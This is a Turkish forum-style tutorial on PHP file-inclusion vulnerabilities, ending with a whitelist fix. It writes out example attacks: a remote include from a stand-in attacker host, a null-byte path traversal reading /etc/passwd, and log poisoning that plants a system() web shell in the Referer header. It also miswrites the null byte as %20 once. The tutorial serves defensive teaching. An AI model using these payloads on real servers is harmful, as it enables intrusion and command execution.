Son zamanlarda PHP ile yazılmış sistemlerde en çok görülen güvenlik problemlerinden biri Remote File Include “uzaktan kod/dosya çalıştırma” saldırıları.
Genelde, modüler bir yapı uğruna şu çeşit kodları görebilmek mümkün;
Kod:
<?
include $_GET["sayfa"];
?>
Aslında, gayet basit ve işe yarar bir kod gibi görünse de artık hemen hemen her PHP programcısının bildiği gibi saldıranlar açısından pek iyi bir kod değil.
Örnek saldırı: index.PHP?sayfa=http://uzaktakisunucu.com/saldiran_dosya.txt
Saldırıları önlemek amacıyla birçok forumda/platformda çeşitli önlemler görüyorum. Fakat gerçekten güvenli çözüm göremedim desem yalan olur.
Şimdi gelelim, güvenli olmayan güvenlik yaklaşımlarına;
En yaygın sorunlardan bir tanesi. Include yolunun başına path ekleyince sorun olmayacakmış gibi geliyor web programcılarına;
Örnek kod;
Kod:
<?
include 'inc/'.$_GET["sayfa"].'.PHP';
?>
Bu yaklaşımda güvenli değil. İlk önce local file include sonrasında da code execution saldırılarına yol açıyor.
Nasıl olduğunu görelim;
Örnek saldırı: index.PHP?sayfa=../../../../etc/passwd%00
Evet bu şekilde yapılacak bir istekle, Linux sunucularda bulunan passwd dosyası ekrana basılacaktır.
Büyük ihtimalle null byte’ı (%00) ilk defa görüyorsanız kafanız karıştı. Normalde sonuna uzantı ekliyoruz diye düşündünüz. Fakat PHP, C familyasından bir dildir. Ve değişkeni işlerken %20 karakterini gördüğü zaman durur, dolayısıyla sonuna inter-polation yardımıyla eklediğiniz uzantı işe yaramaz hale gelir.
Bu durumda http_auth ile sakladığınız dizinlerin içerikleri görüntülenebilir, ve daha da tehlikesi sunucunuzda kod çalıştırılabilir.
Hemen hemen her web sunucu gelen http isteklerini loglar ve bunu belirli bir dosyaya kaydeder. Örneğin, Access.log vardır apache’dir. Bu log dosyalarının makine üstündeki yerler bellidir.
Ve yine http istekleri kullanıcı tarafından geldiği için suistimal edilebilir.
Saldırıyı örnekleyelim hemen;- HTTP_REFERER bilgisini <? echo system($_GET[“c”]); ?> şeklinde yolla ve siteye gir.
- local file include bulunan dosyaya, ?sayfa=../../../var/logs/access.log&c=ls –all
şeklinde istek yap.
Bu isteğin sonucunda çalışılan dizinin içeriği ekrana basılacaktır.
ls –all yerine çok daha tehlikeli kodlar çalıştırılabilir.
BYK tarafından gönderilen mesaj:
if (file_exists($dosya_adi))
include($dosya_adi);
else
include('404.htm');
Şeklinde bir kullanım işini görecektir sanırım.
Not: array de aslında güvenli bir yöntem bence ancak ben siteye yeni içerik/sayfa eklediğimde ana kodunu değiştirmeyi ve yine ana kodun bu tarz sabit değerlerle şişmesini sevmiyorum. Biraz da tercih meselesi yani

Öncelikle file_exists() yukarıdaki saldırılardan zaten etkilenecektir. Çünkü olmayan bir dosya include edilmiyor sonuçta. Fakat bunun yanında PHP5 ile birlikte file_exists(); http wrapper’lari da destekliyor. Dolayısıyla, uzaktaki sunucudaki dosyaları da kontrol edebiliyor. Manual sayfasına bakabilirseniz görürsünüz.
Peki ya çözüm?
Aslında çözüm gayet basit. Tam beyaz liste’lik iş. Örnek kod;
Kod:
<?
$beyaz_liste = array('haberler','linkler','dosyalar'); # cogaltilabilir..
if(in_array($_GET["sayfa"],$beyaz_liste)) {
$do = $_GET["sayfa"];
}
else {
$do = 'index'; # anasayfa her neyse..
}
include('inc/'.$do.'.PHP');
?>
Bu kod her şeyi halledecektir. Fakat her dosyayı array’e atmak benim için zor diyorsanız, bunu otomatik olarakta yapabilirsiniz. Ornegin, scandir() fonksiyonu parametre olarak aldığı dizindeki dosyaları array olarak döndürür.
Dip not: şu yazıdan sonra rahat 1 ay bir şey yazmam ben.